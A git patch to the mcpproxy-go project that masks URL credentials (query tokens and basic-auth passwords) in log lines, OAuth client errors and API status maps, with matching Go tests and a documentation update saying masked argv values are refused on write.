Routed through a new Client.logSafeURL, matching core.Client and HTTPTransportConfig. - transport/retry_after.go rendered the request URL with the stdlib's url.URL.Redacted() on every 429/503-with-a-hint, at Info. That masks ONLY the userinfo password and leaves `?token=…` verbatim. Uses the project's own redactor now. - oauth.RedactURL had no `user:pass@` rule at all. It is the fallback RedactURLQueryParams takes when url.Parse FAILS — i.e. exactly the URL a connection error is being logged about — so every logSafeURL() call site in three packages leaked the basic-auth password down that path. The userinfo masking is factored out of RedactSensitiveData and shared, so the two scrubbers cannot drift. - The two OAuth client-creation failures and the SSE stream-read failure in internal/transport logged their error bare; mcp-go builds the first two from url.Parse and *url.Error quotes the raw URL it was handed. They use logSafeErrorField now. - upstream/manager.go GetStats put the raw cfg.URL and last_error into the per-server status map. Round 3 deferred this as out of scope; deciding it now: the map is served verbatim as `upstream_stats` on /api/v1/status, on the /api/v1/servers response and on every SSE `status` event, alongside a server list that httpapi.redactServerSecrets and Runtime.redactServerSecrets already mask — so one half of a single payload was masked and the other was not. Both fields are masked here, honouring the same reveal_secret_headers opt-out. Explicitly out of scope, with evidence: the registry-source URLs in internal/server (list_registries, add/edit/remove_registry_source). A config.RegistryEntry carries no credential — `requires_key` marks a registry whose key is configured elsewhere — and the URL is the identity of the catalog. Docs: docs/configuration/upstream-servers.md still described the argv revert that round 3 deleted, so an operator would expect a masked args_json echo to round-trip safely when it now returns a hard error. The binding table and the prose state the new contract: argv masks are REFUSED, resend the real value or omit args_json. No other page repeats the old claim. --- docs/configuration/upstream-servers.md | 41 ++++++--- internal/oauth/logging.go | 37 +++++--- internal/oauth/redact_hardening_test.go | 36 ++++++++ internal/transport/http.go | 7 +- internal/transport/http_url_redact_test.go | 85 +++++++++++++++++++ internal/transport/logging.go | 4 +- internal/transport/retry_after.go | 8 +- internal/upstream/managed/client.go | 21 ++++- .../managed/client_url_redact_test.go | 54 ++++++++++++ internal/upstream/manager.go | 28 +++++- internal/upstream/manager_url_redact_test.go | 77 +++++++++++++++++ 11 files changed, 371 insertions(+), 27 deletions(-) create mode 100644 internal/upstream/managed/client_url_redact_test.go diff --git a/docs/configuration/upstream-servers.md b/docs/configuration/upstream-servers.md index 7033c5a06..f583dac32 100644 --- a/docs/configuration/upstream-servers.md +++ b/docs/configuration/upstream-servers.md @@ -162,27 +162,46 @@ Argument vectors are masked too: a credential passed as `--api-key sk-…` in the same issue — by URL shape in every spelling (`--flag `, `--flag=` and a bare positional token all mask `?token=…` and `https://user:pass@host`). -A masked value echoed back on the write path is reverted to the stored value -rather than persisted over it, and every revert is **bound to where the value -was read from**: +For the **keyed** fields, a masked value echoed back on the write path is +reverted to the stored value rather than persisted over it, and every revert is +**bound to where the value was read from**: | Field | Bound by | |-------|----------| | `env_json` / `headers_json` | the map key | | `url` | the stored scheme, host:port and username | | `oauth_json` → `client_secret` | the field | -| `args_json` | the **index**, plus the flag that preceded it | +| `args_json` | *nothing — an argv mask is **refused**, never reverted* | -The argv binding matters: `args_json` replaces the whole vector and the caller -also chooses `command`, so a revert matched by value alone would let a caller -move a stored credential into a command line of its own choosing — or into a -positional slot the read path does not mask, and read it back in the clear. A -reordered or resized vector therefore does **not** round-trip its masks; resend -the real values, or omit `args_json` when you are not changing the arguments. +**`args_json` is different: an echoed mask is rejected with an error, not +restored.** An argv token has no key to bind a secret to — only its index and +its neighbours — and `args_json` replaces the whole vector while the same patch +also chooses `command`. Every candidate binding is therefore caller-controlled: +an index can be picked, a preceding flag copied verbatim, and a byte-identical +argv means nothing once `command` moves from `mcp-foo` to `curl`. Any revert +rule would let a caller relocate a stored credential into a command line of its +own choosing. + +So a write whose `args_json` still carries a mask this proxy rendered fails +with: + +``` +args_json[2] is a redaction placeholder, not an argument value: credential-shaped +argv tokens are masked on read and are never restored on write, because an argv +slot carries no key to bind the secret to. Resend the real value for that +argument, or omit args_json to leave the stored arguments unchanged +``` + +Do not build a read-modify-write loop that feeds a masked `args` list back in: +**resend the real values**, or omit `args_json` entirely when you are not +changing the arguments (omitting it leaves the stored vector untouched). +Rejecting is deliberate rather than silently keeping the stored vector — +`args_json` replaces the vector, so ignoring it would make the write look +applied when it was not. The argv mask is a rendering of the **MCP** read surface. The REST API returns `args` unredacted and accepts it unchanged, so REST reads and writes remain -self-consistent; only the MCP write path reverts an MCP-rendered mask. +self-consistent; only the MCP write path refuses an MCP-rendered mask. ### How you edit them diff --git a/internal/oauth/logging.go b/internal/oauth/logging.go index 7b3779c1e..226e0e961 100644 --- a/internal/oauth/logging.go +++ b/internal/oauth/logging.go @@ -135,15 +135,12 @@ var secretPattern = regexp.MustCompile(`(?i)(secret|password|token|key)["']?\s*[ // credential failed, and it is not the secret. var urlUserinfoPattern = regexp.MustCompile(`([a-zA-Z][a-zA-Z0-9+.\-]*://)([^\s/:@]+):([^\s/@]+)@`) -// RedactSensitiveData redacts sensitive information from a string. -// It replaces tokens, secrets, and other sensitive data with redacted placeholders. -func RedactSensitiveData(data string) string { - if data == "" { - return data - } - - // Redact URL userinfo passwords (scheme://user:pass@host). - result := urlUserinfoPattern.ReplaceAllStringFunc(data, func(match string) string { +// redactURLUserinfo masks the password half of every `scheme://user:pass@` +// prefix in s, keeping the username. Shared by RedactSensitiveData (free-form +// text) and RedactURL (the parse-failure fallback) so the two cannot disagree +// about whether a basic-auth password is a secret. +func redactURLUserinfo(s string) string { + return urlUserinfoPattern.ReplaceAllStringFunc(s, func(match string) string { groups := urlUserinfoPattern.FindStringSubmatch(match) if len(groups) != 4 { return match @@ -155,6 +152,17 @@ func RedactSensitiveData(data string) string { } return groups[1] + groups[2] + ":***REDACTED***@" }) +} + +// RedactSensitiveData redacts sensitive information from a string. +// It replaces tokens, secrets, and other sensitive data with redacted placeholders. +func RedactSensitiveData(data string) string { + if data == "" { + return data + } + + // Redact URL userinfo passwords (scheme://user:pass@host). + result := redactURLUserinfo(data) // Redact Bearer tokens result = tokenPattern.ReplaceAllString(result, "${1}***REDACTED***") @@ -736,12 +744,21 @@ func unmaskMapValues(incoming, stored map[string]string, rendered func(k, v stri } // RedactURL redacts sensitive query parameters from a URL string. +// +// Issue #1148, round 4: this is not only a standalone helper — it is the +// fallback RedactURLQueryParams takes when url.Parse FAILS, and a URL that +// fails to parse is precisely the URL a connection error is being logged +// about. It masked the query params but had no `user:pass@` rule, so the +// basic-auth password survived every logSafeURL() site in +// internal/upstream/core, internal/upstream/managed and internal/transport +// whenever the configured URL was malformed. Reuse RedactSensitiveData's +// urlUserinfoPattern so the two scrubbers cannot drift apart. func RedactURL(urlStr string) string { if urlStr == "" { return urlStr } - result := urlStr + result := redactURLUserinfo(urlStr) for _, param := range sensitiveParams { pattern := regexp.MustCompile(`(?i)(` + param + `=)[^&]+`) result = pattern.ReplaceAllString(result, "${1}***REDACTED***") diff --git a/internal/oauth/redact_hardening_test.go b/internal/oauth/redact_hardening_test.go index ae4aa1f98..23d69782e 100644 --- a/internal/oauth/redact_hardening_test.go +++ b/internal/oauth/redact_hardening_test.go @@ -349,3 +349,39 @@ func TestUnmaskEnvValues_URLValue_HostEditDoesNotRestorePassword(t *testing.T) { assert.NotContains(t, got["DATABASE_URL"], "realdbpassword", "password must not be moved to a different host") } + +// TestRedactURL_MasksUserinfoPassword covers issue #1148, round 4 (final +// sweep). RedactURL is the regex fallback RedactURLQueryParams takes whenever +// url.Parse fails — and a URL that fails to parse is exactly the URL a +// connection error is being logged about. It masked the sensitive QUERY params +// but had no `user:pass@` rule at all, so every logSafeURL() call site in +// internal/upstream/core, internal/upstream/managed and internal/transport +// leaked the basic-auth password down that fallback path. +// +// RedactSensitiveData has masked userinfo since round 2 (urlUserinfoPattern); +// this brings its sibling to the same contract. The username is kept, as +// everywhere else: it says WHICH credential, and is not itself the secret. +func TestRedactURL_MasksUserinfoPassword(t *testing.T) { + // The DEL byte is what makes url.Parse fail, which is how a real caller + // reaches this function through RedactURLQueryParams. + raw := "https://alice:hunter2phrase@host/mcp?token=urlsecret999&debug=1\x7f" + + for name, got := range map[string]string{ + "RedactURL": RedactURL(raw), + "RedactURLQueryParams": RedactURLQueryParams(raw), + } { + assert.NotContains(t, got, "hunter2phrase", "%s must mask the userinfo password", name) + assert.NotContains(t, got, "urlsecret999", "%s must mask the query credential", name) + assert.Contains(t, got, "alice", "%s must keep the username", name) + assert.Contains(t, got, "host/mcp", "%s must keep host and path", name) + assert.Contains(t, got, "debug=1", "%s must keep non-sensitive parameters", name) + } + + // A ${keyring:…}/${env:…} reference is a label, not a secret — same carve-out + // RedactSensitiveData makes. + ref := RedactURL("https://alice:${keyring:UPSTREAM_PW}@host/mcp\x7f") + assert.Contains(t, ref, "${keyring:UPSTREAM_PW}", "config references are labels, not secrets") + + assert.Equal(t, "", RedactURL("")) + assert.Equal(t, "https://host/mcp", RedactURL("https://host/mcp"), "a clean URL is untouched") +} diff --git a/internal/transport/http.go b/internal/transport/http.go index b9b29f8d6..8eeda308a 100644 --- a/internal/transport/http.go +++ b/internal/transport/http.go @@ -248,7 +248,9 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { client, err := client.NewOAuthStreamableHttpClient(cfg.URL, *cfg.OAuthConfig, oauthOpts...) if err != nil { - logger.Error("Failed to create OAuth client", zap.Error(err)) + // #1148 round 4: mcp-go builds this error from url.Parse, and + // *url.Error quotes the raw URL it was handed. + logger.Error("Failed to create OAuth client", logSafeErrorField(err)) return nil, fmt.Errorf("failed to create OAuth client: %w", err) } @@ -361,7 +363,8 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { client, err := client.NewOAuthSSEClient(cfg.URL, *cfg.OAuthConfig, oauthOpts...) if err != nil { - logger.Error("Failed to create OAuth SSE client", zap.Error(err)) + // #1148 round 4: see the streamable-HTTP twin above. + logger.Error("Failed to create OAuth SSE client", logSafeErrorField(err)) return nil, fmt.Errorf("failed to create OAuth SSE client: %w", err) } diff --git a/internal/transport/http_url_redact_test.go b/internal/transport/http_url_redact_test.go index 524c12750..fb57a8b99 100644 --- a/internal/transport/http_url_redact_test.go +++ b/internal/transport/http_url_redact_test.go @@ -2,9 +2,14 @@ package transport import ( "errors" + "fmt" + "net/http" + "net/http/httptest" + "net/url" "strings" "testing" + "github.com/mark3labs/mcp-go/client" "github.com/stretchr/testify/assert" "go.uber.org/zap" "go.uber.org/zap/zapcore" @@ -63,3 +68,83 @@ func TestLogSafeErrorField_RedactsURLCredentials(t *testing.T) { assert.Contains(t, field.String, "connection refused", "the diagnostic part must survive") assert.Equal(t, zapcore.SkipType, logSafeErrorField(nil).Type, "a nil error contributes no field") } + +// TestRetryAfterTransport_DoesNotLogRawURLCredentials covers issue #1148 round +// 4: the back-off log line rendered the request URL through the stdlib's +// url.URL.Redacted(), which masks ONLY the userinfo password and leaves a +// `?token=…` query credential verbatim. +func TestRetryAfterTransport_DoesNotLogRawURLCredentials(t *testing.T) { + core, logs := observer.New(zapcore.DebugLevel) + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Retry-After", "30") + w.WriteHeader(http.StatusTooManyRequests) + })) + defer srv.Close() + + rec := NewRetryAfterRecorder() + client := &http.Client{Transport: NewRetryAfterTransport(http.DefaultTransport, rec, zap.New(core))} + + req, err := http.NewRequest(http.MethodGet, srv.URL+"/mcp?token=urlsecret999&debug=1", http.NoBody) + assert.NoError(t, err) + req.URL.User = url.UserPassword("alice", "hunter2phrase") + + resp, err := client.Do(req) + assert.NoError(t, err) + defer resp.Body.Close() + + var b strings.Builder + for _, entry := range logs.All() { + b.WriteString(entry.Message) + for _, f := range entry.Context { + b.WriteString(" ") + b.WriteString(f.String) + } + b.WriteString("\n") + } + assert.Contains(t, b.String(), "back off", "precondition: the back-off line was emitted") + assert.NotContains(t, b.String(), "urlsecret999", "the query credential must not reach the log") + assert.NotContains(t, b.String(), "hunter2phrase", "the userinfo password must not reach the log") + assert.Contains(t, b.String(), "debug=1", "non-sensitive parameters must stay readable") +} + +// TestCreateOAuthClient_DoesNotLogRawURLThroughTheError is the last sweep site +// in internal/transport (issue #1148, round 4): the two OAuth client-creation +// failures logged the constructor error with a bare zap.Error. mcp-go builds +// that error from url.Parse, and net/url's *url.Error quotes the raw URL it was +// handed — so a malformed URL carrying a credential wrote it to the log even +// though the sibling `url` fields on the very same function are masked. +func TestCreateOAuthClient_DoesNotLogRawURLThroughTheError(t *testing.T) { + core, logs := observer.New(zapcore.DebugLevel) + restore := zap.ReplaceGlobals(zap.New(core)) + defer restore() + + // A DEL control byte makes url.Parse fail while the credentials stay in the + // string the error quotes back. + bad := "https://alice:hunter2phrase@host/mcp?token=urlsecret999\x7f" + + _, err := CreateHTTPClient(&HTTPTransportConfig{ + URL: bad, + UseOAuth: true, + OAuthConfig: &client.OAuthConfig{}, + }) + assert.Error(t, err, "precondition: the malformed URL must fail construction") + + rendered := renderEntries(logs.All()) + assert.Contains(t, rendered, "Failed to create OAuth client", "precondition: the site under test ran") + assert.NotContains(t, rendered, "urlsecret999") + assert.NotContains(t, rendered, "hunter2phrase") +} + +// renderEntries flattens observed entries INCLUDING the non-string fields, so a +// credential riding inside a zap.Error cannot slip past the assertion. +func renderEntries(entries []observer.LoggedEntry) string { + var b strings.Builder + for _, entry := range entries { + b.WriteString(entry.Message) + b.WriteString(" ") + b.WriteString(fmt.Sprint(entry.ContextMap())) + b.WriteString("\n") + } + return b.String() +} diff --git a/internal/transport/logging.go b/internal/transport/logging.go index f99b9ad53..fa3c39316 100644 --- a/internal/transport/logging.go +++ b/internal/transport/logging.go @@ -196,7 +196,9 @@ func (lr *loggingReader) readSSEFramesFromPipe(pr *io.PipeReader) { } if err := scanner.Err(); err != nil { - lr.logger.Error("❌ SSE STREAM ERROR", zap.Error(err)) + // #1148 round 4: a stream read can fail with a *url.Error that quotes + // the request URL, credentials and all. + lr.logger.Error("❌ SSE STREAM ERROR", logSafeErrorField(err)) } lr.logger.Info("🔴 SSE STREAM CLOSED", diff --git a/internal/transport/retry_after.go b/internal/transport/retry_after.go index cbfaa8eb0..250b16b9f 100644 --- a/internal/transport/retry_after.go +++ b/internal/transport/retry_after.go @@ -8,6 +8,8 @@ import ( "time" "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" ) // MaxRetryAfterDelay caps how long an upstream-supplied Retry-After may park a @@ -185,7 +187,11 @@ func (t *RetryAfterTransport) RoundTrip(req *http.Request) (*http.Response, erro if !deadline.IsZero() { t.logger.Info("Upstream asked us to back off", zap.Int("status", resp.StatusCode), - zap.String("url", req.URL.Redacted()), + // Issue #1148, round 4: url.URL.Redacted() masks ONLY the userinfo + // password — it leaves `?token=…` in the query verbatim, and this + // line fires at Info on every 429/503-with-a-hint. Route it through + // the project's own redactor, which masks both. + zap.String("url", oauth.RedactURLQueryParams(req.URL.String())), zap.Duration("retry_after", delay), zap.Time("retry_not_before", deadline)) } diff --git a/internal/upstream/managed/client.go b/internal/upstream/managed/client.go index 2cd76e77e..696ca9516 100644 --- a/internal/upstream/managed/client.go +++ b/internal/upstream/managed/client.go @@ -10,6 +10,7 @@ import ( "time" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" "github.com/smart-mcp-proxy/mcpproxy-go/internal/secret" "github.com/smart-mcp-proxy/mcpproxy-go/internal/storage" "github.com/smart-mcp-proxy/mcpproxy-go/internal/transport" @@ -1052,6 +1053,24 @@ func (mc *Client) cancelInFlightConnect() { cancel() } +// logSafeURL renders the configured upstream URL for a LOG FIELD, with its +// credential-bearing query parameters and any userinfo password masked. +// +// Issue #1148, round 4: the deprecated-endpoint branch of onStateChange below +// logged mc.GetConfig().URL verbatim, at Error level — the exact twin of the +// connection_oauth.go site round 3 fixed, and it fires on every 410 Gone from a +// server whose URL carries `?token=…`. The line goes to main.log and to the +// per-server log, and `upstream_servers tail_log` hands the latter to any MCP +// caller. Scheme, host, path and non-sensitive parameters survive, so the +// "your URL needs updating" advice stays actionable. +func (mc *Client) logSafeURL() string { + cfg := mc.GetConfig() + if cfg == nil { + return "" + } + return oauth.RedactURLQueryParams(cfg.URL) +} + // onStateChange handles state transition events func (mc *Client) onStateChange(oldState, newState types.ConnectionState, info *types.ConnectionInfo) { mc.logger.Info("State transition", @@ -1065,7 +1084,7 @@ func (mc *Client) onStateChange(oldState, newState types.ConnectionState, info * if mc.isDeprecatedEndpointError(info.LastError) { mc.logger.Error("⚠️ ENDPOINT DEPRECATED: Server URL needs to be updated", zap.String("server", mc.GetConfig().Name), - zap.String("current_url", mc.GetConfig().URL), + zap.String("current_url", mc.logSafeURL()), zap.String("error_type", "endpoint_deprecated"), zap.String("action", "Update the server URL in your configuration"), zap.String("hint", "The server may have migrated from /sse to /mcp - check the server's documentation"), diff --git a/internal/upstream/managed/client_url_redact_test.go b/internal/upstream/managed/client_url_redact_test.go new file mode 100644 index 000000000..a11dfa4a6 --- /dev/null +++ b/internal/upstream/managed/client_url_redact_test.go @@ -0,0 +1,54 @@ +package managed + +import ( + "errors" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "go.uber.org/zap" + "go.uber.org/zap/zapcore" + "go.uber.org/zap/zaptest/observer" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/upstream/types" +) + +// TestOnStateChange_DeprecatedEndpointDoesNotLogRawURL covers issue #1148 +// round 4: the deprecated-endpoint branch of onStateChange logged the raw +// configured upstream URL as `current_url` at ERROR level — the exact twin of +// the connection_oauth.go site that round 3 fixed. A 410 Gone from a server +// whose URL carries `?token=…` (or basic-auth userinfo) wrote the credential +// straight into main.log and the per-server log, which +// `upstream_servers tail_log` hands back to any MCP caller. +func TestOnStateChange_DeprecatedEndpointDoesNotLogRawURL(t *testing.T) { + obsCore, logs := observer.New(zapcore.DebugLevel) + + mc := &Client{logger: zap.New(obsCore)} + mc.SetConfig(&config.ServerConfig{ + Name: "deprecated-server", + URL: "https://alice:hunter2phrase@host/sse?token=urlsecret999&debug=1", + }) + mc.StateManager = types.NewStateManager() + + mc.onStateChange(types.StateConnecting, types.StateError, &types.ConnectionInfo{ + State: types.StateError, + LastError: errors.New("410 Gone: this endpoint has been deprecated"), + }) + + var b strings.Builder + for _, entry := range logs.All() { + b.WriteString(entry.Message) + for _, f := range entry.Context { + b.WriteString(" ") + b.WriteString(f.String) + } + b.WriteString("\n") + } + + assert.Contains(t, b.String(), "ENDPOINT DEPRECATED", "precondition: the deprecated-endpoint branch ran") + assert.NotContains(t, b.String(), "urlsecret999", "the query credential must not reach the log") + assert.NotContains(t, b.String(), "hunter2phrase", "the userinfo password must not reach the log") + assert.Contains(t, b.String(), "host/sse", "host and path must stay readable") + assert.Contains(t, b.String(), "debug=1", "non-sensitive parameters must stay readable") +} diff --git a/internal/upstream/manager.go b/internal/upstream/manager.go index 9f4ea3ee8..2743e3caf 100644 --- a/internal/upstream/manager.go +++ b/internal/upstream/manager.go @@ -1688,7 +1688,22 @@ func (m *Manager) HasDockerContainers() bool { // GetStats returns statistics about upstream connections // GetStats returns statistics about all managed clients. // Phase 6 Fix: Lock-free implementation to prevent deadlock with async operations. +// +// Issue #1148, round 4: this map is not an internal counter — it is served +// verbatim as `upstream_stats` on GET /api/v1/status, on the /api/v1/servers +// response, and on every SSE `status` event, and it is what the tray renders. +// Its per-server entries therefore sit behind the same trust boundary as the +// server list on those same payloads, which httpapi.redactServerSecrets and +// Runtime.redactServerSecrets already mask. Leaving `url` and `last_error` raw +// here meant one half of a single response was masked and the other half was +// not. Mask them at the point they are written, honouring the same +// reveal_secret_headers opt-out the two sibling redactors honour. func (m *Manager) GetStats() map[string]interface{} { + revealSecrets := false + if gc := m.globalConfig.Load(); gc != nil { + revealSecrets = gc.RevealSecretHeaders + } + // Phase 6: Copy client references while holding lock briefly m.mu.RLock() clientsCopy := make(map[string]*managed.Client, len(m.clients)) @@ -1723,6 +1738,10 @@ func (m *Manager) GetStats() map[string]interface{} { } } + if !revealSecrets { + url = oauth.RedactURLQueryParams(url) + } + status := map[string]interface{}{ "state": connectionInfo.State.String(), "connected": connectionInfo.State == types.StateReady, @@ -1747,7 +1766,14 @@ func (m *Manager) GetStats() map[string]interface{} { } if connectionInfo.LastError != nil { - status["last_error"] = connectionInfo.LastError.Error() + lastError := connectionInfo.LastError.Error() + if !revealSecrets { + // A transport error quotes the request URL inside its own + // message (`Post "https://host/mcp?token=…": dial tcp …`), so + // masking the `url` key alone would not close this. + lastError = oauth.RedactSensitiveData(lastError) + } + status["last_error"] = lastError } if connectionInfo.ServerName != "" { diff --git a/internal/upstream/manager_url_redact_test.go b/internal/upstream/manager_url_redact_test.go index 2c39e817c..020ba7771 100644 --- a/internal/upstream/manager_url_redact_test.go +++ b/internal/upstream/manager_url_redact_test.go @@ -84,3 +84,80 @@ func hasEntryContaining(entries []observer.LoggedEntry, msg string) bool { } return false } + +// TestGetStats_MasksURLAndErrorCredentials covers issue #1148 round 4. +// +// GetStats builds the per-server status map that /api/v1/status, /api/v1/servers +// and the SSE `status` event all serve verbatim as `upstream_stats`, and it put +// cfg.URL in raw. The sibling surfaces on the very same responses — +// httpapi.redactServerSecrets and Runtime.redactServerSecrets — already mask +// exactly these fields, so half of one payload was masked and half was not. +func TestGetStats_MasksURLAndErrorCredentials(t *testing.T) { + const urlSecret = "urlsecret999" + + logger := zap.NewNop() + tempDir := t.TempDir() + db, err := storage.NewBoltDB(tempDir, logger.Sugar()) + require.NoError(t, err) + t.Cleanup(func() { db.Close() }) + + serverConfig := &config.ServerConfig{ + Name: "leaky", + Protocol: "http", + URL: "https://alice:hunter2phrase@host/mcp?token=" + urlSecret + "&debug=1", + Enabled: true, + } + + manager := &Manager{ + clients: make(map[string]*managed.Client), + logger: logger, + storage: db, + secretResolver: secret2Resolver(), + } + manager.globalConfig.Store(&config.Config{}) + client, err := managed.NewClient(serverConfig.Name, serverConfig, logger, nil, &config.Config{}, db, secret2Resolver()) + require.NoError(t, err) + manager.clients[serverConfig.Name] = client + + stats := manager.GetStats() + rendered := fmt.Sprint(stats) + + assert.Contains(t, rendered, "host/mcp", "precondition: the status map carries the URL") + assert.NotContains(t, rendered, urlSecret, "the query credential must not reach the status map") + assert.NotContains(t, rendered, "hunter2phrase", "the userinfo password must not reach the status map") + assert.Contains(t, rendered, "debug=1", "non-sensitive parameters must stay readable") +} + +// TestGetStats_RevealSecretHeadersOptOut mirrors the escape hatch the two +// sibling redactors honour, so a user who has deliberately opted in still sees +// the real URL on every surface rather than only some of them. +func TestGetStats_RevealSecretHeadersOptOut(t *testing.T) { + const urlSecret = "urlsecret999" + + logger := zap.NewNop() + tempDir := t.TempDir() + db, err := storage.NewBoltDB(tempDir, logger.Sugar()) + require.NoError(t, err) + t.Cleanup(func() { db.Close() }) + + serverConfig := &config.ServerConfig{ + Name: "leaky", + Protocol: "http", + URL: "https://host/mcp?token=" + urlSecret, + Enabled: true, + } + + manager := &Manager{ + clients: make(map[string]*managed.Client), + logger: logger, + storage: db, + secretResolver: secret2Resolver(), + } + manager.globalConfig.Store(&config.Config{RevealSecretHeaders: true}) + client, err := managed.NewClient(serverConfig.Name, serverConfig, logger, nil, &config.Config{}, db, secret2Resolver()) + require.NoError(t, err) + manager.clients[serverConfig.Name] = client + + assert.Contains(t, fmt.Sprint(manager.GetStats()), urlSecret, + "reveal_secret_headers:true must expose the real URL, as it does on /api/v1/servers") +}